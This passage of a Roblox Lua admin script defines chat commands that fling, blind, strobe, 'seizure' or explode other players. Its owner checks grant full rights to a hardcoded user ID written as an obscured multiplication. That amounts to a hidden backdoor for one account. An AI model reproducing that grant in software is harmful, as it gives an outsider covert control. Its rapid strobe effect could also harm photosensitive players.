v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1743
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1744
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1745
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1746
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1747
end
1748
end))
1749
end
1750
end
1751
 
1752
if msg:lower():sub(1,8) == "creeper " then
1753
local plrz = GetPlr(plr, msg:lower():sub(9))
1754
for i, v in pairs(plrz) do
1755
coroutine.resume(coroutine.create(function()
1756
if v and v.Character and v.Character:findFirstChild("Torso") then
1757
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1758
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1759
v.Character.Torso.Transparency = 0
1760
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1761
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1762
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1763
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1764
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1765
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1766
end
1767
end))
1768
end
1769
end
1770
 
1771
if msg:lower():sub(1,10) == "uncreeper " then
1772
local plrz = GetPlr(plr, msg:lower():sub(11))
1773
for i, v in pairs(plrz) do
1774
coroutine.resume(coroutine.create(function()
1775
if v and v.Character and v.Character:findFirstChild("Torso") then
1776
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1777
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1778
v.Character.Torso.Transparency = 0
1779
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1780
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1781
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1782
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1783
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1784
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1785
end
1786
end))
1787
end
1788
end
1789
 
1790
if msg:lower():sub(1,8) == "bighead " then
1791
local plrz = GetPlr(plr, msg:lower():sub(9))
1792
for i, v in pairs(plrz) do
1793
coroutine.resume(coroutine.create(function()
1794
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1795
end))
1796
end
1797
end
1798
 
1799
if msg:lower():sub(1,9) == "minihead " then
1800
local plrz = GetPlr(plr, msg:lower():sub(10))
1801
for i, v in pairs(plrz) do
1802
coroutine.resume(coroutine.create(function()
1803
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1804
end))
1805
end
1806
end
1807
 
1808
if msg:lower():sub(1,6) == "fling " then
1809
local plrz = GetPlr(plr, msg:lower():sub(7))
1810
for i, v in pairs(plrz) do
1811
coroutine.resume(coroutine.create(function()
1812
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
1813
local xran local zran
1814
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1815
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1816
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1817
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1818
end
1819
end))
1820
end
1821
end
1822
 
1823
if msg:lower():sub(1,8) == "seizure " then
1824
local plrz = GetPlr(plr, msg:lower():sub(9))
1825
for i, v in pairs(plrz) do
1826
coroutine.resume(coroutine.create(function()
1827
if v and v.Character then
1828
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
1829
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1830
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1831
end
1832
end))
1833
end
1834
end
1835
 
1836
if msg:lower():sub(1,10) == "unseizure " then
1837
local plrz = GetPlr(plr, msg:lower():sub(11))
1838
for i, v in pairs(plrz) do
1839
coroutine.resume(coroutine.create(function()
1840
if v and v.Character then
1841
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1842
wait(.1) v.Character.Humanoid.PlatformStand = false
1843
end
1844
end))
1845
end
1846
end
1847
 
1848
if msg:lower():sub(1,12) == "removelimbs " then
1849
local plrz = GetPlr(plr, msg:lower():sub(13))
1850
for i, v in pairs(plrz) do
1851
coroutine.resume(coroutine.create(function()
1852
if v and v.Character then
1853
for a, obj in pairs(v.Character:children()) do
1854
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1855
end
1856
end
1857
end))
1858
end
1859
end
1860
 
1861
if msg:lower():sub(1,5) == "name " then
1862
local chk1 = msg:lower():sub(6):find(" ") + 5
1863
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1864
for i, v in pairs(plrz) do
1865
coroutine.resume(coroutine.create(function()
1866
if v and v.Character and v.Character:findFirstChild("Head") then
1867
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1868
local char = v.Character
1869
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1870
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1871
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1872
char.Head.Transparency = 1
1873
end
1874
end))
1875
end
1876
end
1877
 
1878
if msg:lower():sub(1,7) == "unname " then
1879
local plrz = GetPlr(plr, msg:lower():sub(8))
1880
for i, v in pairs(plrz) do
1881
coroutine.resume(coroutine.create(function()
1882
if v and v.Character and v.Character:findFirstChild("Head") then
1883
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1884
end
1885
end))
1886
end
1887
end
1888
 
1889
if msg:lower():sub(1,5) == "char " then
1890
local chk1 = msg:lower():sub(6):find(" ") + 5
1891
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1892
for i, v in pairs(plrz) do
1893
coroutine.resume(coroutine.create(function()
1894
if v and v.Character then
1895
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1896
v:LoadCharacter()
1897
end
1898
end))
1899
end
1900
end
1901
 
1902
if msg:lower():sub(1,7) == "unchar " then
1903
local plrz = GetPlr(plr, msg:lower():sub(8))
1904
for i, v in pairs(plrz) do
1905
coroutine.resume(coroutine.create(function()
1906
if v and v.Character then
1907
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1908
v:LoadCharacter()
1909
end
1910
end))
1911
end
1912
end
1913
 
1914
if msg:lower():sub(1,7) == "infect " then
1915
local plrz = GetPlr(plr, msg:lower():sub(8))
1916
for i, v in pairs(plrz) do
1917
coroutine.resume(coroutine.create(function()
1918
if v and v.Character then
1919
Infect(v.Character)
1920
end
1921
end))
1922
end
1923
end
1924
 
1925
if msg:lower():sub(1,11) == "rainbowify " then
1926
local plrz = GetPlr(plr, msg:lower():sub(12))
1927
for i, v in pairs(plrz) do
1928
coroutine.resume(coroutine.create(function()
1929
if v and v.Character and v.Character:findFirstChild("Torso") then
1930
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1931
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1932
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1933
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1934
cl.Parent = v.Character cl.Disabled = false
1935
end
1936
end))
1937
end
1938
end
1939
 
1940
if msg:lower():sub(1,9) == "flashify " then
1941
local plrz = GetPlr(plr, msg:lower():sub(10))
1942
for i, v in pairs(plrz) do
1943
coroutine.resume(coroutine.create(function()
1944
if v and v.Character and v.Character:findFirstChild("Torso") then
1945
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1946
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1947
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1948
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1949
cl.Parent = v.Character cl.Disabled = false
1950
end
1951
end))
1952
end
1953
end
1954
 
1955
if msg:lower():sub(1,8) == "noobify " then
1956
local plrz = GetPlr(plr, msg:lower():sub(9))
1957
for i, v in pairs(plrz) do
1958
coroutine.resume(coroutine.create(function()
1959
if v and v.Character then
1960
Noobify(v.Character)
1961
end
1962
end))
1963
end
1964
end
1965
 
1966
if msg:lower():sub(1,9) == "ghostify " then
1967
local plrz = GetPlr(plr, msg:lower():sub(10))
1968
for i, v in pairs(plrz) do
1969
coroutine.resume(coroutine.create(function()
1970
if v and v.Character and v.Character:findFirstChild("Torso") then
1971
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1972
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1973
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1974
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1975
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1976
if prt.Name:find("Leg") then prt.Transparency = 1 end
1977
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1978
end end
1979
end
1980
end))
1981
end
1982
end
1983
 
1984
if msg:lower():sub(1,8) == "goldify " then
1985
local plrz = GetPlr(plr, msg:lower():sub(9))
1986
for i, v in pairs(plrz) do
1987
coroutine.resume(coroutine.create(function()
1988
if v and v.Character and v.Character:findFirstChild("Torso") then
1989
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1990
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1991
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1992
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
1993
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1994
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
1995
end end
1996
end
1997
end))
1998
end
1999
end
2000
 
2001
if msg:lower():sub(1,6) == "shiny " then
2002
local plrz = GetPlr(plr, msg:lower():sub(7))
2003
for i, v in pairs(plrz) do
2004
coroutine.resume(coroutine.create(function()
2005
if v and v.Character and v.Character:findFirstChild("Torso") then
2006
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2007
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2008
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2009
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
2010
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
2011
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
2012
end end
2013
end
2014
end))
2015
end
2016
end
2017
 
2018
if msg:lower():sub(1,7) == "normal " then
2019
local plrz = GetPlr(plr, msg:lower():sub(8))
2020
for i, v in pairs(plrz) do
2021
coroutine.resume(coroutine.create(function()
2022
if v and v.Character and v.Character:findFirstChild("Torso") then
2023
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
2024
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
2025
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
2026
v.Character.Torso.Transparency = 0
2027
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
2028
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
2029
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
2030
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
2031
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
2032
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2033
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
2034
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
2035
if prt.Name == "FAKETORSO" then prt:Destroy() end
2036
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
2037
end end
2038
end
2039
end))
2040
end
2041
end
2042
 
2043
if msg:lower():sub(1,7) == "trippy " then
2044
local plrz = GetPlr(plr, msg:lower():sub(8))
2045
for i, v in pairs(plrz) do
2046
coroutine.resume(coroutine.create(function()
2047
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
2048
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2049
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2050
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2051
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2052
end
2053
end))
2054
end
2055
end
2056
 
2057
if msg:lower():sub(1,9) == "untrippy " then
2058
local plrz = GetPlr(plr, msg:lower():sub(10))
2059
for i, v in pairs(plrz) do
2060
coroutine.resume(coroutine.create(function()
2061
if v and v:findFirstChild("PlayerGui") then
2062
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2063
end
2064
end))
2065
end
2066
end
2067
 
2068
if msg:lower():sub(1,7) == "strobe " then
2069
local plrz = GetPlr(plr, msg:lower():sub(8))
2070
for i, v in pairs(plrz) do
2071
coroutine.resume(coroutine.create(function()
2072
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
2073
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2074
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2075
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2076
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2077
end
2078
end))
2079
end
2080
end
2081
 
2082
if msg:lower():sub(1,9) == "unstrobe " then
2083
local plrz = GetPlr(plr, msg:lower():sub(10))
2084
for i, v in pairs(plrz) do
2085
coroutine.resume(coroutine.create(function()
2086
if v and v:findFirstChild("PlayerGui") then
2087
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2088
end
2089
end))
2090
end
2091
end
2092
 
2093
if msg:lower():sub(1,6) == "blind " then
2094
local plrz = GetPlr(plr, msg:lower():sub(7))
2095
for i, v in pairs(plrz) do
2096
coroutine.resume(coroutine.create(function()
2097
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
2098
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2099
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2100
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2101
end
2102
end))
2103
end
2104
end
2105
 
2106
if msg:lower():sub(1,8) == "unblind " then
2107
local plrz = GetPlr(plr, msg:lower():sub(9))
2108
for i, v in pairs(plrz) do
2109
coroutine.resume(coroutine.create(function()
2110
if v and v:findFirstChild("PlayerGui") then
2111
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2112
end
2113
end))
2114
end
2115
end
2116
 
2117
if msg:lower():sub(1,7) == "guifix " then
2118
local plrz = GetPlr(plr, msg:lower():sub(8))
2119
for i, v in pairs(plrz) do
2120
coroutine.resume(coroutine.create(function()
2121
if v and v:findFirstChild("PlayerGui") then
2122
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2123
end
2124
end))
2125
end
2126
end
2127
 
2128
if msg:lower():sub(1,9) == "loopheal " then
2129
local plrz = GetPlr(plr, msg:lower():sub(10))
2130
for i, v in pairs(plrz) do
2131
if v then
2132
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2133
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2134
repeat wait()
2135
coroutine.resume(coroutine.create(function()
2136
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
2137
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2138
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
2139
end
2140
end))
2141
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2142
end
2143
end
2144
end
2145
 
2146
if msg:lower():sub(1,11) == "unloopheal " then
2147
local plrz = GetPlr(plr, msg:lower():sub(12))
2148
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2149
end
2150
 
2151
if msg:lower():sub(1,10) == "loopfling " then
2152
local plrz = GetPlr(plr, msg:lower():sub(11))
2153
for i, v in pairs(plrz) do
2154
if v then
2155
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2156
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2157
repeat
2158
coroutine.resume(coroutine.create(function()
2159
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
2160
local xran local zran
2161
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2162
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2163
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2164
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2165
end
2166
end))
2167
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2168
end
2169
end
2170
end
2171
 
2172
if msg:lower():sub(1,12) == "unloopfling " then
2173
local plrz = GetPlr(plr, msg:lower():sub(13))
2174
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2175
end
2176
       
2177
end
2178
 
2179
-------------------------
2180
-- True Owner Commands --
2181
-------------------------
2182
 
2183
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2184
 
2185
if msg:lower():sub(1,3) == "oa " then
2186
local plrz = GetPlr(plr, msg:lower():sub(4))
2187
for i, v in pairs(plrz) do
2188
coroutine.resume(coroutine.create(function()
2189
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2190
end))
2191
end
2192
end
2193
 
2194
if msg:lower():sub(1,5) == "unoa " then
2195
for i = 1, #owners do
2196
coroutine.resume(coroutine.create(function()
2197
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2198
end))
2199
end
2200
end
2201
 
2202
if msg:lower() == "settings" then
2203
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
2204
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
2205
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
2206
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
2207
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
2208
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
2209
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
2210
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
2211
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
2212
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
2213
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
2214
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
2215
end
2216
 
2217
end
2218
 
2219
--------------------
2220
-- Owner Commands --
2221
--------------------
2222
 
2223
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2224
 
2225
if msg:lower():sub(1,3) == "pa " then
2226
local plrz = GetPlr(plr, msg:lower():sub(4))
2227
for i, v in pairs(plrz) do
2228
coroutine.resume(coroutine.create(function()
2229
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2230
end))
2231
end
2232
end
2233
 
2234
if msg:lower():sub(1,5) == "unpa " then
2235
for i = 1, #admins do
2236
coroutine.resume(coroutine.create(function()
2237
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2238
end))
2239
end
2240
end
2241
 
2242
if msg:lower():sub(1,5) == "nuke " then
2243
local plrz = GetPlr(plr, msg:lower():sub(6))
2244
for i, v in pairs(plrz) do
2245
coroutine.resume(coroutine.create(function()
2246
if v and v.Character and v.Character:findFirstChild("Torso") then
2247
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
2248
p.Anchored = true
2249
p.CanCollide = false
2250
p.formFactor = "Symmetric"
2251
p.Shape = "Ball"
2252
p.Size = Vector3.new(1,1,1)
2253
p.BrickColor = BrickColor.new("New Yeller")
2254
p.Transparency = .5
2255
p.Reflectance = .2
2256
p.TopSurface = 0
2257
p.BottomSurface = 0
2258
p.Touched:connect(function(hit)
2259
if hit and hit.Parent then
2260
local ex = Instance.new("Explosion", game.Workspace)
2261
ex.Position = hit.Position
2262
ex.BlastRadius = 11
2263
ex.BlastPressure = math.huge
2264
end
2265
end)
2266
